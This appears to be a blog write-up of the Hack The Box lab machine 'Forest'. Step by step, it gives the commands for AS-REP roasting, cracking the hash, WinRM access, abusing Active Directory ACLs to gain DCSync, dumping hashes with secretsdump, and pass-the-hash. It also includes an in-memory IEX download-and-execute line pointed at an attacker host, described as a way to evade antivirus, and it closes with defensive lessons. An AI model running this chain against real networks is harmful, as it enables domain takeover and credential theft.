root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat forest.md
// writeups

Forest

12 Oct 2019 · 10 min read
Forest - maquina de Hack The Box

Executive summary — Forest is a textbook Easy Active Directory Windows box: anonymous enumeration of the domain, AS-REP Roasting of svc-alfresco (no Kerberos pre-auth), WinRM access, and an ACL-abuse escalation — membership in Account Operators plus WriteDACL from the Exchange Windows Permissions group — to grant ourselves DCSync and dump the Administrator hash. An AS-REP → WinRM → BloodHound/ACL → PowerView/DCSync → PtH path.

PlatformHack The Box
Operating systemWindows (Active Directory)
DifficultyEasy
StatusRetired
Target IP10.129.8.78

Attack map

[53/88/135/139/389/445/464/593/3268/5985] Active Directory (DC) · anonymous SMB enumeration
   │  netexec --users → Administrator, svc-alfresco, sebastien, lucinda, andy, mark, santi...
   ▼
[AS-REP]  svc-alfresco without Kerberos pre-auth → GetNPUsers → $krb5asrep$
   │  john + rockyou.txt → «s3rvice»
   ▼
[WINRM]  svc-alfresco (Evil-WinRM)  → user.txt
   │  BloodHound: svc-alfresco → Account Operators (creates users) + Exchange Windows
   │  Permissions (WriteDACL over the domain)
   ▼
[ACL ABUSE]  create htbuser → add it to Exchange Windows Permissions →
             PowerView Add-DomainObjectAcl -Rights DCSync
   ▼
[DCSYNC]  secretsdump with htbuser → Administrator NTLM hash → Pass-the-Hash → root.txt

1. Environment setup

As with any Active Directory box, the first step is resolving the domain name. We add the DC to /etc/hosts so Kerberos/LDAP tooling can resolve it correctly:

sudo nano /etc/hosts
# add:
10.129.8.78 forest.htb.local htb.local forest

HTB IPs change between resets, so it's worth double-checking the current IP before starting.

2. Nmap reconnaissance

nmap -Pn -sC -sV 10.129.8.78
nmap -Pn -p- --min-rate=1500 10.129.8.78 -oN forest_allports.txt
53   DNS
88   Kerberos
135  RPC
139  NetBIOS
389  LDAP
445  SMB
464  Kerberos password change
593  RPC over HTTP
3268 LDAP Global Catalog
5985 WinRM

A textbook Domain Controller: Kerberos (88), LDAP (389/3268), SMB (445) and WinRM (5985) together confirm this is an AD DC, not a standalone Windows box.

3. Anonymous domain enumeration

Forest allows a fair amount of enumeration without credentials over SMB. We pull the domain's user list with netexec:

netexec smb 10.129.8.78 -u '' -p '' --users | awk '{print $5}' > usersforest.txt

The raw output carries noise (banners, dashes, headers), so we clean the file up:

cat usersforest.txt | grep -v "\[" | grep -v "-" > users.txt
cat users.txt
Administrator
Guest
krbtgt
DefaultAccount
sebastien
lucinda
svc-alfresco
andy
mark
santi

Ten domain accounts without supplying a single credential. svc-alfresco stands out for the svc- prefix: service accounts, and they're usually the weakest link.

4. AS-REP Roasting — svc-alfresco

What AS-REP Roasting is: if a user has Kerberos pre-authentication disabled (DONT_REQ_PREAUTH), the KDC answers a request for an AS-REP ticket without validating any password. That ticket is encrypted with a key derived from the user's password, so all we need to do is request it and crack it offline. With the cleaned user list, we try GetNPUsers against everyone at once:

impacket-GetNPUsers htb.local/ -usersfile users.txt -dc-ip 10.129.8.78 -no-pass -request
$krb5asrep$23$svc-alfresco@HTB.LOCAL:...

Only svc-alfresco has pre-authentication disabled; every other account returns nothing. We save the full hash to hash.txt.

5. Cracking the hash

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
john --show hash.txt
s3rvice

Credentials obtained: svc-alfresco / s3rvice.

6. Validating credentials

Before touching the box, we confirm the username/password pair works for both SMB and WinRM:

netexec smb 10.129.8.78 -u svc-alfresco -p s3rvice
netexec winrm 10.129.8.78 -u svc-alfresco -p s3rvice

7. Initial access — WinRM

evil-winrm -i 10.129.8.78 -u svc-alfresco -p 's3rvice'
type C:\Users\svc-alfresco\Desktop\user.txt

PowerShell shell as svc-alfresco and user.txt captured.

8. Domain enumeration with BloodHound

This is where the escalation path lives. We collect all the domain's ACLs, group memberships and sessions from Kali, using the credentials we already have:

bloodhound-python -u svc-alfresco -p s3rvice -d htb.local -ns 10.129.8.78 -c All --zip

Importing the .zip into BloodHound, the path to Domain Admin becomes clear: svc-alfresco belongs to the Account Operators group (can create user objects in the domain), and the Exchange Windows Permissions group has WriteDACL over the domain object — meaning any member of that group can rewrite the domain's own permissions, including granting themselves replication rights (DCSync).

svc-alfresco
  ↓ (Account Operators)
creates a new user
  ↓ (adds it to Exchange Windows Permissions)
WriteDACL over the domain
  ↓ (grants itself DCSync)
DCSync → Administrator

9. Escalation — ACL abuse to DCSync

The reliable way to chain both privileges: since svc-alfresco can create users (Account Operators), we create one of our own and add it to the WriteDACL group:

net user htbuser Password123! /add /domain
net group "Exchange Windows Permissions" htbuser /add

With the user now inside Exchange Windows Permissions, we use PowerView to exploit the WriteDACL and grant ourselves replication rights. We serve the script from Kali and load it in memory via IEX (avoids touching disk and dodges basic AV/AMSI):

python3 -m http.server 8000   # from the folder holding PowerView.ps1
ip a   # our HTB VPN IP, e.g. 10.10.14.X
IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.X:8000/PowerView.ps1')

What DCSync is: the replication rights (DS-Replication-Get-Changes[-All]) that normally only DCs hold towards each other; with them, any host can ask the domain controller for every password hash (including Administrator and krbtgt) as if it were just another DC. We build a credential for our new user and grant those rights with Add-DomainObjectAcl:

$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb.local\htbuser', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity htbuser -Rights DCSync

With the ACL rewritten, we go back to Kali and dump the whole domain with secretsdump, authenticating as the user we just created:

impacket-secretsdump htb.local/htbuser:'Password123!'@10.129.8.78
Administrator:500:aad3b435b51404eeaad3b435b51404ee:<NTLM hash>:::

10. Root — Pass-the-Hash

With the Administrator NTLM hash, there's nothing to crack: we authenticate directly over WinRM by passing the hash (Pass-the-Hash):

evil-winrm -i 10.129.8.78 -u Administrator -H <NTLM hash>
type C:\Users\Administrator\Desktop\root.txt

Domain fully compromised: from anonymous enumeration to Domain Admin. 🏴‍☠️

Vulnerability summary

PhaseComponentVulnerabilityImpact
ReconAD (SMB)Anonymous domain user enumerationList of 10 valid accounts
FootholdKerberosAS-REP Roasting (svc-alfresco without pre-auth)WinRM as svc-alfresco + user.txt
PrivEscAD ACLsAccount Operators (create users) + Exchange Windows Permissions (WriteDACL) → DCSyncAdministrator NTLM hash
RootWinRMPass-the-Hash with the Administrator hashDomain Admin + root.txt

Lessons learned

  • Disable anonymous enumeration over SMB/LDAP on the DC; any user list is the starting point of a password-guessing attack.
  • AS-REP Roasting: don't leave accounts (especially service accounts) without Kerberos pre-auth, and use long, random passwords for them.
  • Watch Account Operators: it allows creating domain users; combined with any weak ACL downstream, it's an escalation path.
  • AD ACLs are a minefield: a WriteDACL left over from an Exchange install (Exchange Windows Permissions) can end in DCSync. Audit them with BloodHound regularly, not just once.
  • DCSync = game over: restrict who holds the domain's replication rights and monitor their use (event 4662).